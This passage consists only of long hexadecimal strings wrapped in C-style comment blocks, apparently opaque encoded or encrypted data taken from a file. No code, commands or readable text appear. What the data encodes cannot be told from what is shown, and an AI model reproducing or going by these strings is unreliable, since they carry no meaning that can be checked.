a87678c06a94bc3a2389507eabcc5dcee51e2a1022942bfea35b48e130b282bdde3ad363fbccd582aeddf7f2a480a16c7bfca93d0eb9bab362919cd9c6f860a2e6d36dc18bcb6dd65419d9cc97d8adbe501903a5d1bc6bd5a75f1f20caf80ad74b3fabc75a214d8ffbdd806a746f5a4b75dda173a94d6bb22a4ced0fb2635bb2845d97738e2d815c2865739ebf22a92f9fd3a30c8346fcdd5216215f49342402c16e0eb1bcc44e6122aa575346a05b53d843ebe9128ce5b5d718c6b924a50b02850f2fb47d8734025cb67a09e3b2098fc897c6474d99851a6570886e019ee901e68e6fa916750a53aba0aa8cbd78ddb9740ab4dc37d5d5dfdcfe39aaa4b412156ef83a7e83016406c74587d2d68f3c69d8fddb6f9e2a0b13eb398a3e6564f0e1d4d23a825c3362618ce03a65797544bc5b388dea30aae1fbc5925bb3fe9edc551fd34f9f4f65d3c68347de5a88661d976ba12f0e25bac5f50e052e0f2b2fe888bb6e2483ddce82c4d3c0fb154233eaac1b512a9ed60f0c6ea6d224205557ad46bb2755459275caff58363cc072c604a2fd3775695c8174e0c9bac0f356dbf65fce6e7f167554659adc44848e240d66e1c276a0233670cbb8317fa1abafb398cbe942e6010039e848e0fdaaf9931f84718a6f6284409704c6184fe0196ce5bccd73e7097e64dd4345dded419466bbf2fc8b59d2ae388d0272ebb57f675a0e3a01ff16074fff54ec7af10d192bd4f1f413374dea4c2232faae7a5bec6984af74f799528c1662a3ded34babbd1593fa3506101c70e32768cdc3cadae5d767b4875a2f9c1d0be9c8670366a6292b6c3239df0a3a1a6b0772e780c4eb1c6f3142f79f77e187c52dcb67dcaa681f34bcdcb4651e68958ac8378ad5fa6d25fef31f5f8398ad6bbb2df11c383ba82844e0f42d4484ca49b3cfeff03c99dddd661bf831885cfe737658e423af7e5ee3cbd0ea520b37d165eab69cdb831463e43cf68442f9b1166cbac607881ca1c5b0c0dd79f167c8b8e6b03baf7c4e481186225095946763e30bbafe61cb84367e8126fcda80bb34be7ef0d8e31c4f61a9e450adbf49740bf7a159b01960f0f2cc7b8efe12af82425762a5be662b3a806f24c5fec603d9f9b2fc196ba80828f1cd4b0b5f4d4af4d36aaf37492eda3fb21861a74f001dd374655e253b9965480568f38709906516d0c84b0bd37626254375f827de2191f6d3bfba2a1c3962f4128cfeb00260576ee6fdd14eaaccb1f956f00505d6446ada966a3fc7e9fdc1639bc99b9aa2d323d2046e240419ec4556c33479d5d8b273a544cc7fc6b837a0d8867a73e5e595e5e266d93e2fd6b27cb156eb76c6e22b2da30134643df3ef3878176c4e5bb98513049b1749b3b7c050e3bba626ab5733147014ee24261c103ab710cc9b76ba9726cca187cf02d07afcfef21561d27ed2b60056654fcec8dc1da11cfb4c4b0a82b5981b527448797cf3dcf1a0565b54bd1c92ad0d50bffe956acdad3e85506fe61e50c5fe620b87a8025e00c0668af39283c63e2b3e5c7d1ca3d4d7cc5d8dd9032b686af86ae4b56e50a9a4695ec2d2feff15b1e2dc75598d6393dcbdaf316cd956cd00c9f28d85b8e3372a68c405ffb814700f4f9d8e80a60117b505695b4c87965d4ae6026e794cbca044e855ecc2c806af6b4c02e23d6b404222344f005b016e96a1e0e946a65cb3aa2979b120b1c0f028bccdf13ef22239153b22ef8cb0ac618572dfc45201d1e923fee59e3db52bad97a5e9836a458037aaafedc0dad9fd8d7031cd92711e74a88e1c54a1861847791e0c051fc9b015855c440a083b6ea676c618a479e1447533e03cf9918c7cc07eb2736c6922ba92fd8851b0017743f18b905767af374c1e55e2723debea5771ac76ce0b23b42efff3bb49db0430d62703942cef73a5bd4e9d8e4ed65165d0682484a96511185c0484a1cdaeeda71f5d5ee347f47212cea3a4148b4a4cbfc3eb24932f46889c80e985862ee6f52706b12aa74f84b9cd0253f498e3a601c24f526e522191d9529a727f5765265f6*/
/*f962325703be9ecc6070f018c31315a553ba3c35c21419d179edf13837d1f60aea56beb9a4c595d08e328cde9fbd4349cd4aef5c3c0988017b5f8aeca20d899a7d71de506c99607563c8e8059ea0b68ce9587cd15211637fd7c8766078284ff3b6890591aac4d1d9437407e949e0efe4f7c7a052e7efb3a6547351491dc6a7dce7039543ce6d32f53ae8aafd34d411ee0a02777e9b556fbb5e7648e318db20bfc32a8460dd933b3aa32893881cd442940aa37be03bd19a3b12b0a7480dfcead8cbb1db2c76828d3e94cdafaf45568b61011a5888837ea11aa9cc2c5348e1f669bcd72902aff97838b3bc0f7843c043b78f85c8662a05812c4d97b99a16d689734c132fea5e594311559992949ac51f10d73905ccd548decec925aa1ea1dcbec8212e46fffbbe47389d7a171f52e60f46d80e42a40346778f7af7bbdd778c71c9c6d433553136491a93481cf6729334efe23921cb134ba78e80aced04755fdc4daf7aa581170c3bcba075958e5d590bcd03c2ad8c568b56c9c63ead8e37f4dcfd6a7333ba72c34d75e1fb8e638ceaff7076877bef9722bf6f28bc559f3b2298792172dded5ee1923c188e5a40aa13657ff6c9a3ee3e280e85f17b30c67605d723f8806d0571d73d898ecb7367c3cc6d362ca1ebd540c77605a799a1d795377f7381e1447f980aef06f11c55e91ca63342beba528407cb1c2db5f6e6842c4df6bddc6bc1d6ec007aac56da03d75bd24f635217378eb76da1cc7469f5c9a3da99181b0eaa174c85b9dacb0def9cef453ad266e83445a51c4c605a2d353f897a0c3834dd79d49be849e63f4eb46577e22f38d9e1eddf7c6e55b535e20ac32d1a97bfce32125181cc2296c2d7eb7bd3201613054c66159b08a9f6fef9398c74508da1ab1384bf40d3a7b4f29ca4a426062abc2612d71958229a3f9411335101153d6c6ee78e7f344d00fc9f8dc7ebf3ddd7c6ad791224699bd90aa17e0c75133ab16b186e58cbd71a085b8b7298fc81305278d03eb9fab463d98605335e5134ed543433675e5b47f6442b168ab5e7c529b7fdfaf6dc2aa24245ef3d87bd8402053914f8cd1291b1dc2601a2c9cfee5f357bec55c646ec77a5c1de653c13e50d5d391b56db7b736d6f014abcb0181cafa923120a7ac1939a67ccf137b431173b1a60fdc8eb1e82f548e8eac90ef102862d0d27fb13de2be54ac32d523af93dcd2ad470b044b74f9d33ab86222357fe4d09f0ff6fbff1981e6f36be50bc362b9adc09d36df9073bc51f08ea6b8757dcfc46a6eb9eebe0ee4e540bd91b22dc1c9c424baa086b88e149942bea1eefb70f70173b01f3d927c67fb036c7b8d80a471084d9d3c4b71e1bd52a3885adf2ee601548a67c0da2e3b55082aaf80847a078cef15c84ff96604f9fef3b26dc5d5020735468e8cd40582fdd6dd9357ae607fb1c2ba6b9b8321dcafa218a7e68183a785fb682e94ad55b78bdf54d03e26d012d867346faaaa69c32a81f8a8b6ae1c02aa1d64a9f8a974d2af953e95ec82aa7f1926aa063cef655e9c97f1a271dfcbf80b718602a2e3d62cacad3341a462843fca86fbb8cf97f58145008d34501e8b12a762a31fdd94a62b3278ae7f0dc802eba96853682f834adb14beba7fc971bfdc81f6111cd265a11735719acc84259dad0fa81baa264587900aa2e436561bc4dbee76ac2e88c4a4187e65c872767b63c99d953d175e840d6ecabc46166157d33c1e433f2e06340f474c4e2d485633f445df2c1b9c8ea9ae6baa45185467826f848af80cb878cc649dfddb51e77984b84a8ef9c2ef4136754f6603d1a7bb26c75d5dbf9e3a1d4f35ba6df20235aaf7353fce788b9aad0e35c2547f9582c6f23c739a99e86946283265361530429727fae606a813baf9b54d0cdcb6f1b0c598ffa694c2501f40fcc2a4b9f4f6f7856fc593f72118bbced8a110e69cce85af3dd92fe306933996363325b7c37ede2b0f81e0f05f0b6a285e2257bfab61bfc564f3025dc82532c1a45b0da5f413d2c5835d9e19e959e06a3f36d5c780219cafabdb1e4753771b838846380762eeb83136c5245a906f9e0fdfc1cad6e11a3af89059bc3cc26a5e6c2c27c048c3873c5f54c96689d9ee7f0fe2aacbaea63b29e277cbcc26296d385feedada7610d0529b07c5bbfb755836ab62750e0c178461e8a8de7d192305c4b848ae8aafa8ebebbcbc0e824657d216cd8689dd685b07fc4877d6a2faccaea160b390255c55fad0bca5dd7c5458ad8bbf3942dbfe951211bf9b6a94f4af2bb0b8943ba9bfdcf2da686a70bab5e3a4d849f1bbdf9906f511636caf98dbfbe07a9a9cd84bf93444296da620f418d14fb8433d3c4e016e6e98bbd558cf8bc484642d8079d2c66df4da4b1ab69b42f6fe490d09e63b9566db910ccc2ffd0c266078fd321dc416e599a5cd79f0489c108e9437f9ee749f3ed6bd6cc5143692173d5f2330cb24a56b4b1ae978cfdd8e0e758ec8f3e25113ea103ee32e8a6b4b2b6061567bf7739c785568e800434a93de0b94cb328ce59c56d3e108174a990268e49d17da2c4156b2facfee0422f85bc6f70d0dc328b6ae67f9f30f77aaf99456e6bdf067eb8e5eabdb862ee500e2f753571bae46d81fb74b41a3ef7fe137705316d4c92987706159c1ddda9fddc91af40588534d8080c1349bf296b0c6230d477f7a69cdd310e7667e00363c904692a9ea988800f505b9f80608618b3e977a97915cc90d31487a4c3091b62e9b93369cd0776bcce79a7d59576b388c30e83676c2b92a88ad97e81f26fa1508fb407c96325c386c8235f2ae26dde8b5043831203e5b0*/
/*c202ce5a2ca5073783dc7784695cf20b8b2543f8114a33817ed36663c6c7fcd3867a309d192c0a69b73dd05be53243b80b0ea30bdf96295bf09ed18e89941b500d7382f3ae583168f6cb3b17d9d08747f7df4c9712e770ffffedbd3b8e2f168afd7814c09836212dd45836ee43e84163b5d26fa987aa4b39e2137bd8341f0becd17d8b8b9229ff0cd35dd26459a5b85868d0908662449be2eb6995d7d4bc182de99e4030b2ec5aeb806770a5d78a389268ae609d0983b225ea537e600884c716acaa21cdf8a771d03da350dc91a55e90c220b709b53f8602c98c2e4108d1904279d0d72f920d67fa5577dfb21783e744b5d2d97a7f751c0749f41d572f322c30c6508e3adfb6fb261a3deedc683db8b3ca8d518d2a8010d9962ed68679d1982abd93043b67a6bdf20c353f94e832d286984aa3cd0276e77fbff8bdc837aebf1941877aeb476d8a2b3c8c8b2ed701847f06f870142a4213f68ea62b2f4722be12cb05e88789ba9bfa04adc49037109492b9dbd63d70b3830364720fdbac43052c2de4beea10f567e3a747cc9c1152a81e1c14e3c0a032aaa1a21a279242eec56a85763d119105107870183a89851e3dd3806121aa4797ac6c5930eb7bb7f979c760e6c409f035d8ec1ca8493d67ccdd923fe1a1fc7187b746e6f85ed441c47073714b132180838dd1f1c96df03cf113d3bab5b45816e5e7f238c057df45a3bc48ddfa8f64b460b655f8d55cc38cd435f3162f1464f8417fd26be471940bc9ca5409dfd675832fe809fae97af661449d02b6ea191bb728d3ff7bd9f8b746da3ea2d569cfff2cad188167451635a77b10bdf586324c29c66045ea2fccc3c21b78e0628ba41c4f7fb22d0ffea19ade38b9958546c588e156df3343727e2095d9856516bdc0bb786d975fe5ac927fb3572e1c00530764d72d7dc43aa2b909625efc0b363c6982642c9947b819affc94e3aa0d47619fe82fe3406cc5c6a2239fe76aec92beabba0ea058dc018d496866bd4125f26b09539209cbfc4f4be1a493d1ab7cd4cd355e9a2ecf47ac3a63698a2a3ab9d96e7ea647a39af088b1763c3589152d688ca404e88a5aeb70e4331f90036e097f7f5db8a9d57df328338768363f2caf3ce883e935846a5e29564c405aa03393aee72898b10dc8983e87630fa103326dd13711728e986735b564edac82bd4b08ba182b7ffc7c6f2ca2498c0654aac1fc3b952a620c5626eb2b272c86289fc4f20a03c0fecf507d509ca719df503d4be880bdf0a5b90443ba92db0285a09e27ab5cea6145be7ab1eb63298e653909039d5413c71a88e0b53af6001c8d10af037cac80e8c29d8385a02add089e008ae356c558371dc93540d5dc59a089cf566403577ed5ed6c259cdb380da663d2ad20d76b4fd9902cd4764703746febde41fc3ab54e54be0c7b3aae3adafe4519991fc3bf7f73419e809caf8fc33bc4a0e55d27104555c02827112a6edc6bf963e618e560fc95e2a1c2b833d0a39f79f76f7be6da1c83b80c945edcea9ed3979749b47216b2d3718c936e8bdba0ba6f9025a66c65b3daf5713aec72eaff3e9e697f7e5c550bc19dcce0a9f92ca8fd23903107ff4b91541b18291faa04cc4343cc0abd0d5461771ee4f696f805a9a54ce16edc5689501ad0c9d8cf0d5560a0389aef420aae59002e3109068cca32d0061ff0615ca65167e2ec53ffdf060ce835103a2f5414c6a1db76b40cb5de8917c3690cec35c5a70f3441a719f396c8cd60b404650886108a03d506de5384e2ace14bd51f74df92cc8a6ecb73aac3f6c840b99e4b9ac90931e2941a1b4b7b14bb9776b94190c5f61a4eb3afe431d72025c8fa7ef1050146fcf776cd1f4b22266801dd6710654ee090b04d4fab7bbc198249e1293f49b3880a4b0acdb6f00e80502ab0acaca87ae811c992a535bb64d67866623fc1fc0315ad4143ab28e735286282b6d36ba4add11fee3e295bd4cb25d1f901bb17c65f4347c7a22fae5f8caff282bc9e178e04ac06316c6c8e90843b960401c7430696344360152ad3f0386cc89e450dfc5143a655ed5342eb42b19f64e0a6071bd271d9ec4071816129aec39b77ac88eac110c308a3b7fe975a0f27f74ed52840e18fa7d841fb9d7722ac5e48c5a0c604290df6b3c4953cf57a8e700bb1aa5359036d570043a3a06a433eaee1d31b93bf6514ba98e7eb623390d9c3ce9630a679cb5c7229ec5cdf227bbe0679d59172f76d701c47ba9ba27eea81e07c89b62fd1336925742446d0da2be04b6f8cf10de72d269bc024ae4692078dc8d8590f7ceb62cf7ab340167ba8ff55db50d2c4a8fa0ecda6a8bed865c8a7839b674468b8df11d8046f187b4e2bab1e0e88a5a637754d216d7ab694376c5bdce899b1a9413df2f3a2e7ec8e5df0b5a70a015d5f9f25a2b3116998d107a12d387bf92be488a6a41cb5899ffbe9fcefcbb5ed9945335d76732e6609f81b4c0bdffd51608d31df6acd263fc8f3b42b4deade657e5e313283c5e17abba1645561a54ad98da7dc06fc247dcda62bd9818bfa562aa8e489d57c4e2b2c498e9fb579d797494aa9ddf59647ac082b36f67c3e0eb3af68b76cbcd5fcd8cc75733bb0f5d494732e5eea28f8d974a7961f8db5bd3065594e99d24f643e109942dfb6fda66922b8505c7add27988415f4bd7cb587abdd754b739321e9e9e6f01b29b6358c13120b43f84bf3488df451548164b1737f14059e10b33312112ab0485f67d5115d1f13ad814b1b0236b1632705f4b75438c23c571bbbd67c6cfdb11083f7579c0cca0ec301081a94aa67c81808481a76a6d9699befade376*/
/*e59420ba300392923a84f5db8c326d34cdeef8525d5b63a4c89116ced0d9a31ab92961b493513b4328d04b2af8dfaf5f263f0bf4d6473c27d2464df2df872cb9629cb9c585f7cdf0c4f2d3a0b12c1cf16f49ed0c3439ad830844d06ad08a90735798d3ce4fff7969980bae18526938ef5f306a3b55c0ae4ee4f8c082b5dbde9e61b50b8f1d9356572fd0c8025662dfab3ce39f07da6616792f197b9ad11ccc16097f46aa161be8206756c51574fde3bfa2d751cbc6623c31804fe6ed8eb57756b6a8777bff1f3b3a0c7890a76958a394e3aa2296dd4b1ee8446e61db5411f047fcc3e06e3a236f71f4de886f269e38f0d87f479f9b72a711792b6531ed406abfc41ec28725611f1e27fd0273139b24f438c09e4daad25350a7eb8ae4a9e9be6f7419de2ba6134093e13e2b01172558ed3bb3bab0c5a4dcd251a8fafd3f36b01df597c66f830e68b0436be1a0bcf126818f0c19499c8d6dfb1d708d3aac04baa274a118b7270c582863e4f844a94e06a8394cc73f7a51a94d70c26ac23b70a1786a1a1d173e67a4f7d0f37c29ad77135176f32afaad91d049a858297229f9841cd61d6e8061754c8a33ec3efc4967d2733aa79b904c71b5899be2863c466ac56f78ef8a35e5d01775540d5dad36f621a62322f9b268b34e71d573f544a2c8edefde93d858247d516ee1c32696914f8e23041d819fe1a4ef22006e40d2d943226ac08bb35864dc0fbf1a31d67e59dfafe7ebbc493b82a6562681c3a7bd750ef8dfc0a2358ec4b9b378b5eb5f297c09f4f6ad061e16631871f0bbd5ec8188c0e01f50a506030f023ac0ea58c204f87f82171ab1a71d435e1bf6cd6d6928d7fc833cfa7bf4e30146b9c9596dfed28deed796a51ea704e765ad56961cd5af1fb29f84cd4b68093f5ee37e5921cfcd361bab757bcf0ca47e893d7ef41bac074f5ca5947b37266fed8d37266483e888d089c4355324aa4c2229407591e370430ca0a43182031fbc4ae1493757d658290f920add1e48bf90e816fba1bb9da8d97664eb60288da603a2d8eca02442cc5c197bd4e74631a5264ef5424151fc6b5ef075423cd63b3b973ce762a956b37efea6b93f554c40ed0ce8fb565544fc61ad0753cad1f6af717185fc52e42ba253986b2e457f9a6e42ca7610465c29dcc478d52fc38abcef5f8383134c548f13e92e58f7c169f330a13bd7617bf4866d4fc5ce4ffa8aeee0f89a0e32be016e1a34532e801e7b5330c9b0166b2c5078b7700e22e8cc99674f26ac96eb0c04b591e569daffcf9f4a84c28d4d8b4ec392bdc0da51c70a8b9059d14829781c11d3267219ad9450fe6dc7538580d5b41d48e81f9f9b06f24a0de1507a1da3a72ab709976bcfbe6b8ec892f2cf00f06123a817e0c77f11fee17b6a043f1d22203e66538eb73a2073bf7093c486d049264e418c15987fb91df2a11d5e51bc423473e93be5d127fe6104878f762efb7160497869bac97e5da5cc905faa4c042371e3734ca8e610d76aff286cbaf23ddca549188aed82452873be2cde0ebe29a80b482a3d93158ef858c732889bef47a6396aeae5bee7ee7bec4aa3ec6ed147cfb778c917ab62a349a50cb4fe9fa9577e93254cd57859d12fe788c248a4ee87b37ad06f97c6324a86c826511fcabe06076cdf33061088f8c3bc77c19ba7b7125e5f22ea10e6f954bf9fa1c3b15f9d2a7a17072479e33e855e734023647b65ea4f9081064496723a51b597bf95b0ac6aff9a3618f07fdc732dacf7630081ce1adbaf3ee71dfa5cf1d3460ea77a3fbb9dbb81cb7b25cbbfeef5ca8db4016269b385cbe89687144ecba97d460476b5330e9c20c0945a9b66a25d967ebdc9de1d573115a11bdc7474f684bd09f1d2ff6605b154143e9461b22ed080a7872226b31f51a32fa56ca7021be0381c258535a8ae42ec53a16be262da2d5f64fbafdc34ce1c8c08bcaefc627cc485b8c41ffbcd9e3eb83dd734616cddb8728660d5b80ee8fc63960b4ab472f1a596647a1787f11b282e2c09c30b8f265ba09bed4823d68ab88fab19393e34c11e07d9d9269282023110d088219af9c536a269eabeab760ba7d1a773245e2f92e9aaefd0e067b81101faf5cf278391dfd6debb77648cbe498d7537b282240788af1779b46116c7b34c074437822385422224283f6d1ab40a9284a11b6bc7e37c0fb6c65356eeb3e28330c8e7297c2dece0e7f54b38e0dc75c568d62997c75d9543f10945e32b2363f5beaae4f933a6c8978776e0f9bb7aefd930601ce36ea1e2d8a6b055bd53e0685e5312baad8ffbae181ea57fde3ff5ca92456dd09fb7b672caba9f0863b92e91902077c8b139c761f06f3c461ae3da9dc80f8ea587de821da8783e6f4342ba1ac7a6f47bab7662088d2f7823facb530a32710997752bb0b1881294a5feb27082f782ab54d0a6fd3fe30429cec9088640ddc9ff001ad346b743f50a06ed80fb2f8a7e74136da45196cf60a09f35585fa72983941d620dd2638ef214762bfeb3c0c5a58625f7f59860639df4c16d436a7d288fd602ba7ee2e408ab945a846628940d2e9740a20fc9b22d78fa4251cf0354a9176552c261ab94fcfe3f2829aaab8e3b6dd7a2f5d1b6c194ccac8beba3751b76d3180995972c27a72cd61e951506f7632297854f1df98a576b6a6c88514c76f01096499542bcf124e26944c149c1e6361866533adb51f7e3a0b9f2bef1ff5caacc3fbf906f412ab96ee66cfe46510ce796ef4e13dbe20c5efff2daf1c6179af931310e7e8822086e9041c92917422989ab821e017a4b62ec2afa9f9834f8eead881254bcc3707b0e917b*/
/*adf0a09db05a3999d4b009306242c452644c16a9117bee72c0c19691d77d89c154cd49ad4967daac501be74183ef751ed92b67830c617e7a7e5bed94bb34ef4cff94e7fd78b0a20b26ccf271d75c342e767b2425e25d4a82e1a0ce17086b48506cb8e600a53fe581d1bab3120ddf335e2823ad380650071c1235db8df4bfc45c0aa592395ab8fae5cdfc8e6e835f033b8f8a336534d28dfd90810353b9574950a5f2c37a83d4620ddd190622bd879b56b3d2f9ba0a050e6fb0ebc7b14beaa8ef10eccfaf7957ac10285185d4b9476baf7ffca6d72a7af36b40f65129001685f48cd08e05ee7d75947d9003fc7647ac62dde0828907823070a453e4ed9ea70d039c52fbe21dd05ee96327606c0641ec3884ad2a9951c1bb0e0e92f6bb8787a631846a6f9b255bffd4863418da1a6d0267210aa42a58df256396b34699946028f5f6012be5c9987447b74d9534d7dd7bdad35a2691ceeb6c8b6a5adab47402c210fdcfe10a309c45987731aea755f6282de55f10e977cf290639847b3aeb9dc7298a63520eb259f5100a07c4d87fcb2d3ab8b9eb4f5e166825d4f3cf205a289d1a176b35830f06fa374e2d2cbd116268b41b70fcf608a50a7d79e97731478f13ceeaa02b83801f53064f1aa790e1505b36dbcab680a331f947aade63bec1c7e30508eea2b8e556854663d1f437df7aca101e6da5f57948b0bac43b049f10980d6be235c35a4255f3f03d9b420730cba4c2def9b6b7902fb0bfda6f0b14e34d288a70a6a0e121a658a0ea1bdf04b35c998423f09121703c593d166ca5418f3c72d18f8af26fa3e27b4659b83202e10b4d515497526b8697ad9d8bbd59e53afea3c658988def8547df5e56d7127c82d21a6faa50916c59bf36421b8a092821570187db121a30123e1f1ff2b8f7aec88682b3e52ee96ec17c30982add64102002ce0c300fe8e281f3bb29d0b286611561ff51f92a491d421b8122ab88cd4fc01496887a573d945dbd2b32c4fe895fef2a9f2da196e9b439611ae7a5bbe203124324db33f3f9032a6616b194f01daaa17861f347bab884e4560dd7d4e02bb603ab602a84b826b4345a7dd4f5cf3b890bec58c593dc4b143af4616eb6b44f54d3cf4cd1effdccd102c65334ce403048ccea4bb28c705a11e0cbac2b33f8a2932426cbbc5c66e9495c6f9bf3c56a19105ef611fd62f007779f681f5555017af3efc4ec35d55f3ad95c5a86139069a346bf01f0609b6081db53b094461ad01bae44fc5a294896f04e1e8d449937ac6eae1499b82d92babc83a1d9d6ec9ad760b518ef2d035bcfb42ce5f87d05525fcd3a3ed2c41b4c301f11e1c322783dcc515b3538b6b7f0c6c4b66bf9cedcb024153adfd4a16202890ac8ab9b05f06056865c021ce376df11cab41fcfac7d2b6a592729958389d2d5b3673ea51a22be76514c236de608b4afca5041cb1d12578815969504d62b2f8300cceca57214e3d09278f5f2cb51e3c1a1a0bc2e144e5ec2f1afc51a0c42beb06efb40d8d5a724f45f8b075ab738587f86b91b5381f0cda046b952ffa229e43c5649d949d916b8645cae2f2bbf734a4d33998c2e35ac147834742d19ae6d05b7ab8d89135823c99514daaaefc027fb0b702b58c262f398aa050bd92fe8a7b1c9324dbcb55a7728f854d2479a1b5b41258269133b52c1ead5c93f77ed9877b1850228cecf7830b3815f069badb4c4ef31ee78b9c0fd5eff2e9779bb1e96fcf517730998bf150ca82c4459ebe20f9680ef10256265945f93f4db9f81639e485a13867253c9c4703ce84972814cc6874f47ebe72e1d05257aa5d489c2b025835a6fb3b26781135f10faf95ee2be692bd4308350ab4ad8b7841c35287a565016aa25f94790a6c5465491f8f4eb9d679871c8288f422fa44862317fffe331c9507ca72c03530299e9381042ecd322e42439d49bad118a75cd2cfc7473e4001f5c9fb25eeb4d87a1cb854f3079264faaaeabc82db5dd913bd9a831dbaffdd7ac75fcdd03f2fcf84b0c2f775a0fba5918b4b9dc4c641703b80408c9185e6844333b8de2f8880659653317f5777cf2b4a71640f2653b565c0a51521b930390d4418c819a9eb2a05796a7710abf1c4ce324a7fc8e5da2069db8d8a492fc8da923e76ceeb58252ffa7bc2c8169a626bc171723d3fb40e5e3db2b3c25f1ac9ee5e08334a0839a8537b62f12f41841553797800a2f96456f02386c32c7a9eab3210d147672f0481a33ab35a48ed26399cf9d4b0198d5bfd35220d55b004317d497501f977b7f65bf03c8ca12eebc571fbe1bc8248acd725cfe340f5a19af8baea292e2f2a295a6d8b402f27baaed5f92560f9054c7f05c6fae04a2e7e8770cccb49bb7e57e809b2c7ca3070b94a3b1c60dea8fae6fb2cc6e3338adfacc479a140560c5f27a9430e32c64374eb1f98d59b29abe10c71f9beec0c33515051590613ae43ab5be99644177f0b1f5fb4f93831b633cea83c31d0b12cd96b627f71607b34154228ccc881b9e8a93eb6255d3cedda2b57c39ee5bd09e49a8ca7ac06e3c20f33fcb81a3578a9648839a457e5352cf8ea9b196d9b845725fdbd4f54d7fb36565b8697ee4f85cbe26ab59512237f0b5a71d18c9b17f3e594bced1551745c890e46207bccc05c5c09073aa770fcdc2eed7983c4af33c8b194096a86a5c0a824a97c1cdbf123d4692dac50cb2d4b6b0ba147bfcc884865e0ccf092bf79b293c9b79f6f3944de2f13890f4e99e0ecf3c83c571e58863d9eeec300f059a0dfbb0838c1ac724c125993156273de0382f9a237d54b6da6e4dedf3a169fe2454a1a08d48f4db*/
/*2f42ce09504b4d4748ae30958c9923a1f176ca1ae47550b5a4ffde3b5ecc329baabfe25f17f945825662cebc3b15150edf2ed54cd253660a6e1699390113fafe506604b18771ffa2315163b9d7c6aa9a0cf6a492f96d761187473dc3fbad4983eb0be0dbad121c412df166b081a5dccfb227fe32192a0b206094f2625ce56831084e442019ad44a7375b1d1d3edc3d33b219b8788f36c2d65e984200230ff598c0703a73c27ee0394cf5d66e020b3608fd0778e47abd471ed032aa942315dcfda86725cdf4412eadf60cc48a04e1baf1d462c8650a558331f0f1a35eb45271d4b65098baf43be38adbad9cf5cc2e68af4f627b7946b9f1b123e1f23c6dfe773fdef16815d0f332fe1fdf544c4f55466266c4fcd1a04763a307bd8f43ec99ce3874089fe64a36c2beb58415a802d9a2f900ba7a42e4f3c96321c8c32e14613b939ff8728fd32af41db1289f7a02c3250304b26cbe021287083df6a120d807bdfef1cfbeda3551d4f0f3ff097f31b8a4e99fd3d931ea24c19dacb30947842c817d5d0c0a99c9c88d085e10723786361b2b7ac36c95afd6858d62619b9cce00e260f014032eb7217314e0b8beac72777dbc06e97b2187a8cf739e733707c4bed308c1ade340ecc807708e0be81cfe95dbf5fa3baf302d0407e42e40aae99053470cd3b55e97f79673c319c93204e4f4d7832e554232ba8b81038899a27d720cf9e2e0fcc39e0e939b39a64cac0b9bbbbee5964244bff06f03e90b9fac806ab76a53c6af87c296f90ddf98d2ef87d55dd490d069da763daf6082707696c0ab0a46f47f4b285883f59ae5ecedfa515e876c06ff9bb2709d9c1776d3f318d607edd6758481666cd411d34ee862b2f6665d4cbd57e5adf4e17f5fc2b5e29574b9370b64afbd12a8ced18b8ac65ef609864acb64e6b6f3d9adcfa1a5f2b20efe3710718110a5ea52f04d21d46ada40edb424da1a6bd7645e7133fc43375ee418729e64eeddae763350bfb3f13023b8c01bffcda19047a79cb1b53eac835d1cae7e50f9e49401773009497d5b79730830e0f1e45ab881dd275ef08d795b835c1ed708263c4ee20b9f32043c56f0f40967dbd10ddd696b4122ea8c4f144dc5cdbacab06a3ff59f0039a88264356302879dc1fa5eb43e460b357572a3b3838a30c18ac55c5e68bb9e3e9481d4a45e2bdbae55dfe56cbc7ed64fa7f3dbe026b5029b99b38e716457a52d0021e4bb820bb2f5438ffdbdff8ba782e1c7d9bf236e74594244415ff78275586286392e78e24e8250f5ceeccdde31355a283dd0fb6a23fd83928573a2a5a234fbec9e4c649a1a0ccd9c99d5d69bf8817fd262282603e52734b6f5268038f461cf171e311f2aa23a3b2f65a9d1d94108a940a2f0c87ccb281363f54ba86355e125672868b4c6117818cb9a98926f930d0a460aa1945c8b44dfd24325d335ed2c00e69a0279d2e7930ece94c3dea63704cbe4fe4fdbe597e1021dbb9b414fd12a061f6039111ebada9403fd021e6bf72b2aa014fe067382f3e2cdcd27a8195eeecc74b6cb8979771657c064fa25a7a8338cb08c9ca3a2c2e20898f6053f1c09b3b4a62124bc8413aadf6841d8566ad4f78f47f2a98478dd37f44a3a98bdcc0a2e910f3cae4f0ad8b02895b653b005f00373f350ca770f818eb4d21ee5d75d5292e4946747c9bbd2e04fef0d038668230bb43c70114cc43c15b13440c3bdf5d492d48543cbab162b7c479f5343cf8d73e4c6575bebc483d74d38a64ff101f5b49852807499eaeb1ac6ae8d989fb01962c6a7d9176924fdc9e401e07fb5ba6672bb3a3c7bac0d49e3a36e0bd009a0aa1ca5bb00bcc8fea08909655533681399b7d709678c927ecaf71724702ea8386424b7c0507af76536012c1e0193558b87b405836b006e13dcdbbee06df9540d35a0dd5c9fa85a7bd5d7337e951bb9ae14258fa82466fd050e6cfe171229555ecaf08fab1ec03bfd874b90f3a318bf89bf346492733a3503e9f5e2c65c184532fca05454a743c988c16639cbd94bca930e5c836bca0793631e2679cad5ce23a6052c8b51bc8f09f68d3a252f3dfee155777eccd8f34fc92595811cb8b008f472dd202b6ae180dd6c005095b7bde034050c118a7e7676de01aec0c3cf20ed8ff4d02aff664f3d22c08ab833490a0600c0f981e5abc50b7dece7b2ab7552715fc97f2c20d4cbee1acb93668fba41004e95e93f1d3ca93ce5ae585a4e91d81b38d44f1ca824f3ed4137b920b96b82303dd573674a2a74d1c1df5fa095e6e8165f89f295c14f459835a7ff2cbe71598f849c5216be79856b2cc40bca8208b6d97a4018a070f630c06afeca4d8b10f0dcd12225fc04caf709eb934451be9e29d4a02cd201c62a44221a2ccf55627b93761a234d41d5012eb08b591552604771db342eb305b71c7b90cef608f1d98e76baa8d787acd34709a21c2fb2ef20c6aaf01539ad7d1ba2daaa7d4a8b191361dd9c5539bd02b32d9341e05010b7026a9bc25fc32cdff1907877d473960c7566cad1fdce812c331e16fce47b6f5f0c4022d2b2c5ba0af65a7d45fc0fbc9679dd0cf83186688daf87e7ec08ecae76fccaaba0ef38546f7093af0f2f1e7e1e7c986f3e698f657c663d1ccc76b018d083710f1bbce1eae298a3e5721af4f3a46f634a2f23d926846d93cc6890671cb7321e587cacd081391014c64ddb80762012b9301f0aec9242a585cb2e3ab284cd979f71e8209119d47e0832eef83396551d546629cd0ee92790bfaabcf62a8a8d392313e9a4db36cffd523b2abe0bf7f7b636092fcd667ddb3fc43ad5e0af5fe5c7db74d9fb*/
